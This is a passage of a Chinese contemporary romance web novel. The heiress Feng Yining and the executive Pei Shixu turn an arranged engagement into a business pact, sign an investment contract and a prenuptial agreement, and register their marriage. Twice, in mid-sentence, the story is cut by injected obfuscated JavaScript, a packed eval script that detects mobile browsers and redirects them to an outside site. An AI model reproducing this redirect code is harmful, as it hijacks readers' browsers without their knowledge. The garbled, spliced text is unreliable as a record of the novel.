冯意柠循着目光看去,隔着一地树影婆娑,另一端是一条隐蔽的幽静小道,终于确认心头那股不妙的预感。 从那个方位,可以清清楚楚看到这边的情况,所以她刚刚爬颓圮花墙的狼狈模样,都被这人尽收眼底了? 冯意柠脸颊微微发红,面上却依旧佯装着镇定:“裴总,我们应该不同路,就不继续打扰了。” 裴时叙稍稍颔首。 冯意柠果断转身离开,走出一段路后,身后传来道唤声。 冯意柠回头:“是还有什么事吗?” 裴时叙说:“走反了。” 第一次来这里的冯意柠:“?” 裴时叙又说:“右边。” 冯意柠道了声谢谢,只能折返回来,直直朝着右边的那条道走去。 没一会,冯意柠余光瞥到投到脚边的高大斜影。 这人在她的身后不紧不慢地踱步,走了几步,她迈出的一步半,堪堪抵得上对方很轻易的一步,心想腿长了不起吗? 冯意柠问:“裴总是同路吗?” 裴时叙说:“不同路。” 冯意柠:“?” 裴时叙说:“你第一次来,人不生地不熟。” 还挺有绅士风度的。冯意柠脚步不自觉放缓。 只是下一秒,男人又来了句:“理应看着些。” 冯意柠:“……” 不知道是有意无意,说到“看着”两个字像是加重了语气,而且说的不是“照看”,也不是“陪着”,意思就像是长辈看管不懂事的小孩,或是闹腾的小动物。 这会被占了口头便宜,今晚还被目睹爬颓圮花墙,又在面前走反了方向。 冯意柠忍不住纳闷,难道是天生相克,一碰到他就会发现新的黑历史。 - 一路走到了外面,老街道边霓虹灯光闪映,临北虽说到了四月,到了夜里寒气重。 很快冯意柠就为她的一时兴起,付出了被冷到的代价,扭头很轻地打了个喷嚏。 “冯小姐。” 冯意柠偏头看去。 裴时叙的领带不知何时取下,顶上解开了两颗纽扣,露出冷白分明的喉结,无端的散漫,将臂弯里随意半挂的西装外套,伸手递给她。 冯意柠有些迟疑,她不是很喜欢穿别人的衣服,更别提,这个人跟她的关系,还有种微妙的特殊。 裴时叙淡淡瞥过鼻尖的那抹微红,声质偏冷:“冯小姐若是逞强下去,生了些小病,今后怕是再登不进冯家的门。” 冯家何时有这般不讲理过,冯意柠没有再虚礼,说了声谢谢,伸手接过西装外套。 她确实是觉得有点冷。 深色西装外套披在肩膀,罩住微微发凉的身体,那股雪松气息将她拢紧。 头皮传来一小阵轻扯的力度,冯意柠偏头,意识到发丝被勾到了。 还在帮助发丝跟纽扣做争斗间,一只手伸来,替她解决这个麻烦。 被微碰到的手,一触即分。 冯意柠微顿了下,缓缓收回手。 刺耳鸣笛声响起,霓虹街灯不时晃过流光,整座老城笼罩在一片夜色喧嚣中,男人半垂着眼眸,眼睑处落下刀锋般的阴影,修长手指在发丝间轻拨。 冯意柠稍稍凝眸,虽说亲朋平常总打趣这人是顶级皮相,可在眼前时,直面的冲击力还是很大的。 被指腹不经意蹭过的侧脸,有点烫,冯意柠还在微怔间。 裴时叙抬眸:“看够了么。” 冯意柠直视回去,语调温温柔柔的:“不好意思,多看了裴总两眼,请问该向我收费多少?” 牙尖嘴利,裴时叙说:“犯不着。” “冯三小姐要想继续看,随意。” 冯意柠:“?” 她就是一时颜控上头,根本一点都不想再多看一眼。 冯意柠循着记忆,走到了一处老街,其实她不怎么喜欢参加各种宴会,在这种名利场,吃不能尽心吃,聊不能随心聊,处处掺杂算计和利益,要温婉含笑,要大方有礼。 反而很享受在外面放空闲逛的时刻。 只是冯意柠没想到,回国的头遭闲逛,同行的人竟然是她这位未婚夫。 不过像这样闲来无事陪她乱逛,还是在喧闹的街道,实属罕见,她不觉得是这位裴公子对她突然产生了兴趣。 “都走这么久了。”冯意柠说,“裴总有话,可以直说。” 裴时叙便问:“冯小姐,对这门婚事怎么看?” 冯意柠说:“裴总是怎么看的,我就是怎样看的。” 不然他们也没必要耗费这些时间,无端磋磨。 裴时叙说:“最近在看块地,有片爱心湖泊。” 这块地冯意柠略有耳闻,有意问:“裴总还信这种浪漫传说?” 她自然也不信这位生意场上杀伐决断的裴家大少爷,能有这种级别的恋爱脑。 “跟政府未来有一项重要合作相关,眼下几方正在角逐。”裴时叙说,“旁的倒是没什么要紧。” 冯意柠了然:“那便是有棘手的对手。” “林二要争。”裴时叙说,“可地在瞿四爷手里,他向来不喜欢私生活不干净的人。” 瞿四爷她听过,怪人一个,跟早年错失的真爱终成眷属,这些年也偏向家庭和睦的合作者。 这便是想借助这门婚事,冯意柠问:“虚情假意,怎么骗得过他?” 裴时叙说:“事实本是就展现出来的,瞿四爷自然看得清。” 冯意柠想也是,圈子里金玉其表败絮其中的人不在少数,表面一套背后一套的模范夫妇,更是数不胜数,重要的是向外界表露而出的一面。 只是—— “裴总,就为了门生意,打算搭上一辈子的婚姻?” 其实她知道不尽然,裴冯两家在未来三年的重点项目上多有牵扯,不乏置换利益之举,联姻不过是个常见有效的固定手段。 裴时叙说:“冯小姐回国第一件事,就是接洽衡思旗下的IS滑雪企业,滑雪纪念馆是上头的指标,野心不小。” 冯意柠轻笑了笑:“我年纪轻,刚回国还不知轻重,让裴总见笑了。” 裴时叙唇角微扯。 这种到哪都听的场面话,旁人多半会附和顺着说下去一两句,这人没有半分表示,不是不懂礼节,而是不拘于约定俗成规矩的束缚。 偏偏他还真有这副倨傲的资本。 “对这门婚事,裴总有求,我自然也有求。”冯意柠开口道,“我的工作室,需要景越的合作。” 如果说这门婚事,最能打动她的一个理由,首选自然是景越独家的全景投影技术,她本想在婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391687|168549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,凭借近水楼台谈合作。 裴时叙眸里情绪很淡:“说说看。” 冯意柠将来之前的腹稿托出,无论是上头滑雪纪念馆的指标,与衡思旗下的IS滑雪企业的接洽独家合作,还是今后涉及时尚、影视、餐饮等众多产业,都与景越独家的全景投影技术今后的合作密切相关,让渡利益的诚意,用共赢前景成就一场赌运。 沉默中,男人扫过淡淡的目光,瞧着散漫,却能洞察人心的锐利,不动声色的隐隐压迫感。 冯意柠有种被看穿所有想法的感觉,在胸腔里听到骤雨的心跳声,她在紧张,掌心渗出一层薄汗。 少顷,裴时叙薄唇微启:“可以。” 心脏稳稳落进胸膛,冯意柠感觉到如释重负,面上却不显:“这种级别的工作室,我还以为入不了裴总的法眼。” “目前自然是。”裴时叙说,“我看中投资的潜力。固步自封不是好事,IP的影响力非同一般,涉及众多产业,不久的未来,衡思作为主合作方,旗下的所有产业都会有所受益。” 这对于冯意柠来说,比任何的甜言蜜语要动听多了,微弯眼眸:“这会要替工作室感谢裴总一句。” “什么?” “多谢您的青眼有加。” 说完,冯意柠也不顾男人的反应,直直走向天桥下的路边老商摊,买了一小袋台式无骨鸡柳。 孜然味飘过,冯意柠长年在国外读书,一直吃不惯,又喜欢到处写生,大小姐的性子被磨掉七七八八。 路边摊不营养,也不健康,可实在是人间美味,可对刚回国的留子来说,吸引力是很致命的。 冯意柠付完钱,跟商贩道完谢,走回到男人面前,问要不要分给他一根木签。 裴时叙眉头微蹙,难掩几分嫌弃意味。 冯意柠瞧见,想笑又不方便笑:“街边摊,裴总大概吃不惯。” 裴时叙口吻淡淡:“倒也没这么娇贵。” 隔着几步的昏明路灯下,男人深邃眉目半隐夜色,宽肩窄腰,质地讲究的衬衫衬出挺括身形。 在这般充斥着喧嚣烟火气的老街道,也难掩周身贵气。 冯意柠看他实在没有吃一块的打算,也不多问,又忍不住生出好奇:“裴总就没想过拒绝这门婚事?” 裴时叙说:“没想过。” 男人几乎没有半分犹豫,冯意柠问:“为什么?” “裴冯两家本就常年合作,在未来只会更紧密。”裴时叙说,“也是老爷子的属意。” 联姻是两家共赢,若实在有损眼缘,搭上婚姻她也不乐意。冯意柠说:“想着回国见上一面,若是没必要,这婚也不会结。” “裴总,我都这样透底了,是不是也该给点诚意?” “相看不合适,也是常有的事儿。” 裴时叙懒撩眼眸,目光落在她脸上,似是逡巡:“所幸冯小姐不是个无趣的人。” 若是旁人,这话显得狂妄,放眼临北,想跟冯家结亲的人,趋之如骛者不在少数。 不过这人的确是有傲慢的资本,冯意柠说:“裴先生也不遑多让。” 手机突然震动,冯意柠垂眸看了眼,竟然是商窈杳打来的电话,看来是总算后知后觉地记起她来了。 冯意柠接通,听到小嫂嫂问她在哪,怎么不见人影,是不是在偷偷约会?她只说临时工作室有事,在外头谈合作。 说这话时,冯意柠察觉到,被男人不咸不淡地瞥了眼。 意味很明显——他有这么见不得人? 冯意柠只当没看到、没看懂,简单跟着说了几句。 要是如实跟小嫂嫂说,以他们这关系,这时间地点行为,多半会被误会在约会。 大概是她这边太吵,饶是商窈杳想象力再丰富,也想不到这位裴公子,此时陪她在闹市里漫步,将一门婚事谈成交易。 就是心下再狐疑,也只能说让她先忙。 挂断电话后,冯意柠想到小嫂嫂刚刚打趣的那句偷偷约会,心里一时几分好笑。 回国和未婚夫的第一次私下见面,确实没有半分浪漫,话题是合作,要是被孟思栀知道,多半又要打趣那句——真是小工作狂配老工作狂,绝配上了。 项目、家庭、联姻,横踞在这门婚事上的是赤.裸冰冷的利益,今晚聊得够多了,旁的也深聊不了。 “今晚这么好的月色。”说不清为什么,可能是真的是此时夜色正好,冯意柠突然想缓和一下被冰冷利益包裹的气氛,“裴先生,就只想谈些无趣的利益吗?” 裴时叙淡瞥着这姑娘。 刚打电话就瞟了眼身后的商摊,这会说了半句,又不经意瞟了眼。 小姑娘年纪轻,藏不住事儿。 裴时叙迈着长腿,转身朝着商贩走去,开口道:“一袋。” 明明就在刚才,男人还很嫌弃买来的路边摊,冯意柠是觉得独吃行为不怎么礼貌,有意照顾这人的感受,才迟迟没买的。 冯意柠暗忖,这人长得一副薄幸冷情的顶级脸,私下竟然嗜甜吗?还真是人不可貌相。 没过一会,裴时叙走回来。 馥甜的糖香掠过鼻尖,冯意柠怀里被塞了个纸袋,下意识接住。 是刚买来的那袋糖炒栗子。 冯意柠抬眸,裴时叙稍稍躬身,如有实质般的眸光落下。 对视间,却听到男人口吻冷淡地说:“难不成跟我谈感情么。” 是在回答她刚刚的问题。 冯意柠心想,来前小嫂嫂把她当成不谙世事的姑娘,再三地叮嘱,私底下的举止,最能展现出一个人的真实性子。 可眼前这个男人,嘴上明明说着这般不近人情的话,却留意纵容她孩子气的想法。 还挺坏的。 4. 报喜讯 冯意柠听过好友孟思栀对自己最准确的评价就是—— 某天有谁、又有谁被她表面那副温婉乖乖女的外表诈骗,也就是瞧着温温柔柔的,其实骨子里比谁都有主见,有股不撞南墙不回头的倔劲。 而此时,冯意柠明显感觉到站在眼前的这个男人,就如同一堵坚不可摧的南墙。 漆黑眼眸淡瞥而来,似逡巡,冷静却也漠然,裹挟着常年久居高位的游刃有余,隐隐上位者的压迫感。 冯意柠突然就不怎么想落入下风,微弯眼眸,暖白色路灯染暖这双眼眸:“如果我想谈感情呢?” 裴时叙唇角极淡地轻牵了下,瞧着是不甚在意的模样。 “是么。” 冯意柠来了几分兴致:“就不怕我是蓄意接近你?其实早对你情根深种许多年,费尽心思只为了嫁给你。” 裴时叙说:“真心假意,我还分得清。” 冯意柠又问:“假意装作真心,就一定能分得清吗?” “毕竟眼见为实。”裴时叙淡瞥着她,“这些年,不是有意避着你。” 冯意柠微顿:“我也没有意避着你。” 只是也没打算见上一面而已。 临北说大也不大,说小又不小,两家又向来走得近,能做到六七年没见上一面,才算是不正常的事情。 说到底,都没有那份有必要见这一面的心思而已,不然随手调上一天的安排,多半就能碰上了。 夜色渐深,一阵晚风吹来,冯意柠下意识瑟缩了下,幅度很轻微。 裴时叙瞥见,这姑娘穿了身茉色缎面长裙,脑后简单挽了盘发,受冻也不吭一声,鼻尖微微泛红,衬得皮肤愈加清透,纤薄后背挺得很直,紧拢进深色西装外套里,匀称白皙的小腿暴露在微寒空气里。 “时候不早了。”裴时叙说,“回去吧。” 冯意柠跟在男人身后:“明儿应该见不了面吧。” 这位冯三小姐的态度向来不咸不淡,也就是对合作上紧着,裴时叙问:“冯小姐怕我跑了?” 冯意柠说:“毕竟裴总日理万机,一年半载都见不着一面。” 裴时叙口吻随意:“明儿去国外。” 冯意柠其实只是随口一猜:“大概什么时候回来?” 又一阵寒风刮了过来,乌黑发丝被轻扬起,冯意柠微微偏过头,将糊了几分脸颊的发丝拢到而后,白皙脸颊染上一层微光。 美人总是赏心悦目的,裴时叙稍稍侧了侧身,高大身躯正挡住刮来的寒风,难得让渡几分耐心。 “很急?” 今晚男人始终站在街道外侧,将她护在内侧,不动声色的绅士风度,冯意柠注意到这点,微微垂眸:“倒不是很急,等裴总回来再商量。” 裴时叙不可置否。 街道旁停着辆眼熟的迈巴赫,冯意柠认出是那天追尾的那辆。 裴时叙拉开一侧的车门,冯意柠稍稍躬身,坐进后座。 没一会,裴时叙从另一侧上车。 李叔听到等待的指令,还纳闷寻思着,都这般晚了,裴总还在作陪哪位贵客?这会看清上车的是冯三小姐,脸上的笑容半点都遮不住。 “三小姐,有好些年没见了。” 冯意柠瞧见熟人,唇角笑意牵起,唤人道:“李叔。” 李叔笑道:“三小姐还记得我?” “当然记得。”冯意柠说,“我小时候不懂事,李叔还特意拿糖给我。” 那糖……李叔借着车内后视镜,朝着车后座瞟了眼,自家大少爷没看他。 “那糖啊。”李叔清了清嗓子,“是裴总让我拿给三小姐的。” 冯意柠有些意外,毕竟那时少年的神情实在太冷,也就让她这些年一直以为,是被她这个爱哭黏人的小姑娘惹得心烦。 稍稍侧身,冯意柠朝着身侧瞥去。 男人懒懒靠在坐背,过深的五官,显得这副长相愈加冷感,上半身微陷,白色衬衫显出挺括身形,修长手指随意搭在身侧,老一副散漫随性的模样。 依旧是那副难以捉摸的性子,冯意柠微张嘴唇,由衷地说了句:“谢谢。” 裴时叙说:“百八十年前的事儿。” 听起来就没几分印象。 冯意柠心里了然。 也是,毕竟这人当年哄到最后,没剩下几分耐心,胡诌哭瞎了眼睛的红眼兔子来“恐吓”她,把她吓得不敢哭,也不敢动,不止地打起了哭嗝。 少年时性子就冷情又恶劣。 李叔瞧着车内氛围,无奈在心里叹了口气,这天还真是不出他所料,一聊就死。 一路到了冯宅,李叔朝窗外瞧了眼:“三小姐,这是侧门吧。” 冯意柠解释:“这儿离我的房间近。” 不然,要是这辆迈巴赫停在正门,明儿整个冯家都会知道她被这位裴家太子爷送回家,还是在大晚上。 冯意柠拉开车门,走到外头,才想起肩上还披着男人的西装外套。 刚想从身上脱下来时。 裴时叙瞥来:“不必脱,也不差这会。” 冯意柠收回抬起的手指,轻声说:“那我改天洗干净还你。” 李叔瞧着眼前一幕,连忙开口:“临北到了四月,夜里还是寒的,刚在街边逛着,是不是冷到三小姐了。大少爷有洁癖,旁人挨不得,碰不得,还是第一次见他有闲心陪哪个姑娘逛这么久。” 难道是豌豆公主吗?冯意柠越听越觉得几分好笑,这位裴总自小就是个冷情性子,身边跟着的人,性子倒是一个比过一个的随和性子,身边最亲近的裴特助是,这位专属司机李叔也是。 活像圣上身边的大内总管,也像是那种恋爱游戏里设定好话术的管家NPC。 冯意柠手指微抵着唇,堪堪遮住唇角溢出的笑意。 裴时叙轻哂了下。 冯意柠瞥见:“李叔,大少爷是不是好些年没笑得这样开心了?” 此言一出,饶是李叔再身经百战,也不忍住有些忍俊不禁,心想大少爷这位未来的太太,性子倒是跟小时候一般有趣。 “三小姐,我这才瞧见,你这个包上的玩偶挂件真有设计感。” 出门在外,冯意柠向来秉持“只要你夸璃兔,我们就有话聊”的原则,很有种为自家孩子骄傲的感觉,从包里拿出另一个挂饰:“这是一对锦鲤挂饰,只当希望好运常随。” 李叔又仔细端详了眼,是另一个垂耳兔抱着锦鲤,左右对称,很精巧的物件:“三小姐设计的?” 冯意柠说:“没事闲着玩玩的。” “三小姐太谦虚。”李叔说,“这是情侣款吧?三小姐就没有想送的人选?” 情侣款……冯意柠下意识朝着在场唯一能跟她有“情侣”牵上微妙关系的男人瞥去,她要是送,会不会被嫌弃幼稚? “只是配对,亲子,朋友之间也是可以互送的。” 裴时叙投来淡淡一瞥。 几乎没什么犹豫,冯意柠把另一只配对的玩偶挂件,朝着男人递去,她倒是没这么小气,只是没想到他会对玩偶感兴趣。 这人她怎么看,跟可爱、毛茸茸的玩偶联系到一处,都觉得相当的违和。 裴时叙没什么表情,接过:“多谢。” 冯意柠说:“裴总不嫌弃就好。” 跟他们道别,冯意柠朝着门里走去,这处是冯宅偏门,回到房间要穿过一片庭院。 “柠柠。” 还在走着,身后突然传来一道好听的女声,冯意柠回眸瞥去。 冯亦清正一手拖着腮,一边轻荡着庭院里的藤花秋千。 冯意柠有些惊讶:“二姐。” 冯亦清瞥着驶进夜色里的车:“谁这么晚送你回来?还给你披外套。” 冯意柠走近:“就是你想的那个人。” 冯亦清微微仰头:“这么晚,约会?” 冯意柠将冯亦清轻拉起来,松松挽住她的手臂,朝着里头走:“这么晚了,还是别在庭院里喂蚊子了。” 转移话题的法子很拙劣,冯亦清心下有几分好笑:“这时候哪有什么蚊子?” 冯意柠在二姐面前,总是有几分耍赖撒娇的性子:“总归是有几只的。” 家里人向来宠这个小妹,冯亦清很受用她的撒娇,回回照单全收,却也有意地揶揄她:“今儿对你的未婚夫观感如何?难道又多了一个优点?” 冯意柠这会不转移话题了:“多了一个天大的优点。” 不熟的未婚夫变成资方爸爸,以至于脾气冷,嘴毒的缺点,都显得无足轻重了。 …… 迈巴赫淹没夜色里,一路驶进裴公馆,不远处人造湖边摇曳一片灯影幢幢,湖光粼粼,浮光跃金,这是裴家向来的俗规,由裴母林娴若主局的千灯愿,公馆里的众人点上盏盏愿灯,是为着即将到来的新人祈福。 车窗缓缓摇下,晚风灌了进来,裴时叙稍稍侧眸,夜色昏光便染上这副深邃眉目。 李叔循着视线看去,打心底里开心:“这千灯愿就差上最后两盏,就差裴总带太太来点上了。” 裴时叙神情没什么变化,推开车门,走了出去,那抹微光掉落宽直的肩膀。 “李叔。” 李叔没收回目光,应了声:“哎。” 要知道他跟着大少爷这么久,很了解他这副冷寡性子,还是第一次陪着大晚上送个姑娘回家,在别家身上算是不冷不热,病入膏肓。可在自家身上,那简直算得上枯木逢春,医学奇迹。 裴时叙说:“抽个空,跟老爷子汇报情况。” 李叔跟他待久了,深知他的脾性:“说喜讯?” “深夜约会共处,被送礼物。”裴时叙口吻淡淡,“添油加醋,自行发挥。” 他家大少爷真是目的明确,李叔瞬间了然刚刚的所作所为: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391688|168549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……” “这是要生编乱造?” 裴时叙垂眸,对着手里的玩偶挂饰随意拍了张照片:“够了么。” 李叔看到传来的图片,几分模糊,还挺有偷拍那感觉的。 “……够了。” - 接下来一个月,冯意柠都在忙工作,晚上有场宴会,她本来不想去,被二姐劝说她初回临北,还未站稳脚跟,该多结识些人脉。 当晚冯意柠刚到,就迎面碰上熟人。 薄蔺舟问:“三小姐,近来可好?” 冯意柠笑了笑:“还好,薄总如何?” 话音刚落,谢从洲从后头走来,口吻几分玩笑意味:“搁这殷勤什么呢?还不嫌绯闻多么。” 薄蔺舟说:“我跟阿叙相熟多年,见到三小姐,不打招呼说不过去。” “我这三表妹也看不上你。”谢从洲向来护短,“你明知道我说的是前天。” “多冤枉。”薄蔺舟也笑了,“人姑娘过来打个招呼,只是过个敏,编排冲着我脸红。” 谢从洲又问:“那上回密会呢?” 薄蔺舟说:“一桌四人,谈生意。” 他们说着,冯意柠就在旁边默默听着八卦,早就听过这位薄总的特殊体质,顶着玩世不恭的极品渣男脸,多年来不少人明里暗里嫌殷勤,瞧着是万花丛中过的风流做派,绯闻遍地飞,结果每回都被本人打假,一副眼高于顶、似真如假的性子,反倒这些年身边从没见过有谁。 “太招蜂引蝶。”谢从洲评价,“这方面,他不如你未婚夫。” 这话题莫名转到她身上,冯意柠自从她回国,就被打趣习惯了,几分好奇地问:“这么多年,他难道就一点没有?” 谢从洲和薄蔺舟对视一眼,都从彼此眼里看到心照不宣。 还是薄蔺舟说:“别人对他,万般殷勤都瞧不上一眼。可论他对旁人的,这要三小姐亲自去问,我们说了可不算。” 冯意柠本就是随口八卦一句,此时见他们意味深长,也没多问。 谢从洲懒散笑道:“跟着一同走吧,你家小嫂嫂特意打电话,带你认认人,我寻思自家表妹的事儿,还用得来叮嘱么。” - 翌日,冯意柠走到公司楼下,熟悉的迈巴赫在街边侯着,刚走到跟前,驾驶座的车窗被摇下。 李叔笑道:“三小姐,出来得够早,我刚想着跟你打电话,知会一声到了。” 冯意柠上车:“裴总是找我有事?” 李叔说:“只说让我来接三小姐一趟,旁的我也不知道。” 一路从专用电梯上去,这是冯意柠头次来景越总裁办公室,很冷淡的商务风。 和冯意柠来之前意料的一样,找她这次来是为谈合作。 眼前一份是注资合同,另一份是婚前协议。 冯意柠认真翻看完毕,抬眸。 裴时叙懒撩眼眸,不甚在意地说:“只需婚后一年,在人前扮演恩爱。” 冯意柠下意识重复:“一年。” “景越和衡思的新合作,是未来三年的重点项目。”裴时叙语调从容,“婚后一年足以让各项利益到位,未来裴冯两家仍会维持亲密无间的合作,自然你我,会是永远的合作搭档。” “至于离婚或分居,任凭冯小姐决定。” 婚后一年的恩爱期,彼此各取所需,到期私下离婚,维持表面夫妻,从分居到感情淡化,是规划得很好的一个结局,既可以各取所需,也不用一辈子被婚姻束缚。 至于这份婚前协议更是无可指摘,对方相当有诚意。 可临到头了,冯意柠却生出几分迟疑,感情和利益真的就能分得这么清楚吗? “未婚妻。”裴时叙声质偏冷,“是觉得哪里还有问题?” 冯意柠刚想说“没有”。 又听到他说:“没有前任,也没有白月光。” 冯意柠:“?” 裴时叙说:“听说冯小姐最近到处打听我的过往感情经历,不如直接来问我。” 冯意柠:“……” 她当时只不过随口说了句,怎么就到处了?说得好像她就有多上赶着,多在意眼前这人似的。 裴时叙说:“不过想来三小姐没多在意,随口一问。” 冯意柠心想,怎么她的台词都被抢了?向来情绪稳定的处世原则,遇到了最大的克星。这人性子冷,嘴还毒,偏偏配上这副顶级极品脸。 裴时叙被这姑娘幽幽地瞪了眼,也没什么反应,瞧着温温柔柔的,丝毫没有威胁力。 再者,总归不是要多在意的事儿。 冯意柠低头签好名。 裴时叙起身,拎起深色西装外套,冷白腕骨上的表盘折射冷光。 “既然如此,裴太太。” 刚刚说了裴什么?冯意柠微微仰头:“去哪?” 裴时叙说:“领证。” 5. 打通电话 民政局里,冯意柠不久前回家取了户口本,换了身素净白衬衫,微捋头顶盘发,柔顺长发在肩后静静垂下,只简单戴着珍珠玉兰发饰,温婉又动人。 结婚登记处前极其冷清,离婚那边倒是排起了长队,热闹得很。 有对要离婚的夫妻在吵架,妻子指着丈夫的鼻子骂,丈夫脸涨得通红,似是觉得丢脸,一边拉人一边,工作人员在一旁劝说,提示公共环境要注意安静。 冯意柠多看了两眼,心想来日他们离婚的时候,大概会在一个很普通的一天,双方很平和、很爽快地办完手续。 毕竟以这人的性子,就不是拖泥带水那挂的。 察觉到裴时叙目光探来,冯意柠说:“以后等我们去那离婚的时候,可能办完手续,还能握手来句合作愉快。” “……”裴时叙口吻淡淡,“很期待?” 冯意柠如实说:“还好。” 她倒是还没有这么丧心病狂,还没结上婚,没事就开始期待离婚了。 走上前的工作人员,听完这段诡异的对话,一时有些困惑,端着一脸职业微笑,礼貌询问:“来取号?” 冯意柠微弯眼眸,温柔纠正道:“不是离婚,来结婚。” 拍照的时候,冯意柠站得端正,冲着镜头眼眸微弯。 工作人员很自来熟,打趣道:“两位新人都放开些,这么一对俊男靓女,就跟明星似的,站近点,也靠近点,笑开一点。” 冯意柠稍稍挪近小半步,肩膀撞到男人手臂,下意识想撤离些。 这时男人手臂从身后伸来,虚虚搂住她的肩膀,那股清冽的雪松气息萦绕鼻尖。 隔着薄薄一层衬衫,被触及的皮肤微微发烫,仿佛能清晰描摹出修长指骨,彰显难以忽视的存在感。 头顶落下低沉冷感嗓音:“别看我,看镜头。” 这时传来工作人员含笑的嗓音:“好,两位新人就这样,看镜头。” 镜头定格,框住一对状似亲昵的新婚夫妻,男人冷峻矜贵,被长臂揽住的姑娘,温婉含笑,跟丈夫靠得很近,瞧向镜头时几分青涩。 还没出民政局,冯意柠把结婚证放进随身带的拎包里。 回到车里,车上除了李叔,还有坐在副驾驶座的特助裴群安,自小由裴家收养,是裴时叙身边最亲近的人之一。 窗外街景不断倒退,冯意柠说:“理应要去我家一趟。” “约个时间。”裴时叙说,“下月初老爷子回临北。” “裴爷爷终于要回来了。”冯意柠微弯眼眸,“那正好一起来,我许久没见他,前几天爷爷还在念叨他的钓鱼搭子。” 聊到老爷子倒是真心实意,裴时叙薄唇微启:“要看时间安排么。” 冯意柠倾身凑近,垂眸看起男人手机里的行程安排。 裴时叙打算发过去的手指微顿,没过两三秒,听到这姑娘认真地说:“我这几天要去外地出差。” 身上那股淡淡的馨香掠过鼻尖,车窗外灿色阳光透了进来,在挺翘鼻尖落下光点,此时的距离近到,甚至可以看清白皙脸颊的细小绒毛。 隔着薄薄一层浅色衬衫衣料,手臂轻贴着小臂,很柔.软的触感。 裴时叙唇角微扯:“看来裴太太是想坐进怀里聊。” 近在咫尺的嗓音落在耳畔时,冯意柠这才意识到原来是自己靠得过近,打破了社交安全距离。 只是别人叫太太含着亲昵意味,这人叫太太跟大老板点名似的。 冯意柠稍稍挪开距离,坐姿端正,只坐了靠近车窗的那小半边,空得仿佛能再塞下半个人:“要不您方便调个时间?” 裴时叙瞥了眼这姑娘,随即开口:“群安。” 裴群安转身,跟冯意柠对起安排,总算这日理万机的行程表里找出合适的时间。 冯意柠被放回公司楼下,半小时后,她还有场会议。 等电梯时,冯意柠被旁边撞了撞肩膀,偏头看果然是她猜想到的那个人。 孟思栀眼里满是促狭笑意:“这是去哪约会回来了啊?好像据某目击证人所说,某柠被接走,出现在了景越办公楼。” 冯意柠说:“谈生意。” “谈生意啊。”孟思栀刻意拖长尾音,“什么生意谈到,还能换了套衣服回来,该不会是某床吧。” 冯意柠对孟思栀一向的评价是像青芒,看起来青涩,切开来完全是黄的。 “我建议你这些奇思创意,一会在会议上好好发挥。” 孟思栀无奈耸了耸肩,跟着冯意柠走进电梯里,无趣地嘟囔:“小古板。” 冯意柠伸手摁了二十七楼:“走吧,我们去开会。” 孟思栀说:“好的,老板。” 下班后,冯意柠直接回家,洗漱完,继续处理了会工作,合上电脑,很轻地打了个哈欠。 冯意柠起身的时候,注意到来了电话,是个陌生的本地号。 拿起手机,冯意柠接通后,耳畔传来男人熟悉偏冷的嗓音:“冯小姐。” 冯意柠走向床边:“裴总有什么事吗?” 裴时叙说:“明儿有时间吗?跟设计师碰会面,确认婚房的改动细节。” 冯意柠想了想:“可以。” 裴时叙说:“下班李叔会去接你。” 冯意柠坐到床边,随手捞了个垂耳兔玩偶,抱在怀里,下巴陷进毛绒绒里。 她在礼貌等对方挂电话间,听到低沉嗓音再次在耳畔响起:“还有。” 冯意柠下意识问:“什么?” “记得存电话。” 挂断电话后,冯意柠先存了电话,备注犹豫了几秒,最后输入“裴先生”。 冯意柠抱着垂耳兔玩偶,起身走到坐在窗边,坐到天鹅绒靠椅上,从拎包里拿出结婚证,微怔了几秒,才后知后觉地想起她已婚的事实。 窗外树影婆娑,几缕月光溜了进来,柔滑的睡裙衣料贴在身上,露出一截白皙嶙峋的脚踝。 冯意柠抱着垂耳兔玩偶,几缕乌黑发丝垂下,定定看着手里鲜红的结婚证。 怎么莫名会有种被那人诱骗的感觉?而她还巴巴地跳进去了。 翌日,冯意柠整个人陷进半梦半醒,半睁开眼眸,摁灭扰人清梦的闹钟。 过了会,又听到声响,手指摸索着屏幕关掉。 耳畔却传来声“冯小姐”,很熟悉冷感的嗓音,冯意柠挪开手机,睁开迷蒙双眸,拿到眼前一看,映入眼帘的是“裴先生”三个大字。 冯意柠刚睡醒,嗓音带点沙哑地“喂”了声。 “我要临时去海城一趟。” 这人要去哪里,为什么大早上来跟她特意报备? 微怔了几秒,冯意柠很快醒神:“什么时候回来?” 裴时叙说:“后天。” 冯意柠大致猜得到这通电话的用意:“也不急,那等那回来再一起看婚房。” 挂断电话,冯意柠看了一小会天花板,回想了下刚刚的对话,心想听一个成年男人大清早“报备”行程,尤其那个人还是她的未婚夫兼合作伙伴。 还真是微妙又新奇的经历。 过了会,冯意柠摁掉再次响起的闹钟,起来洗漱完毕,刚走到楼梯半道上,就远远看到站着的两人。 男人垂眸,用纸巾给跟前姑娘细致地擦拭唇角,反被弯着一双狐狸眼的姑娘,一把扯住深色领带,笑得骄纵招人。 男人稍稍俯身,大掌撑在沙发靠背,眸底几分纵容笑意,任由唇角被蹭了下。 身后传来很轻的脚步声,冯意柠扭头笑道:“大早上就在秀恩爱。” “还没有习惯吗?”冯亦清说,“你跟未婚夫,以后也可以这样试试。” 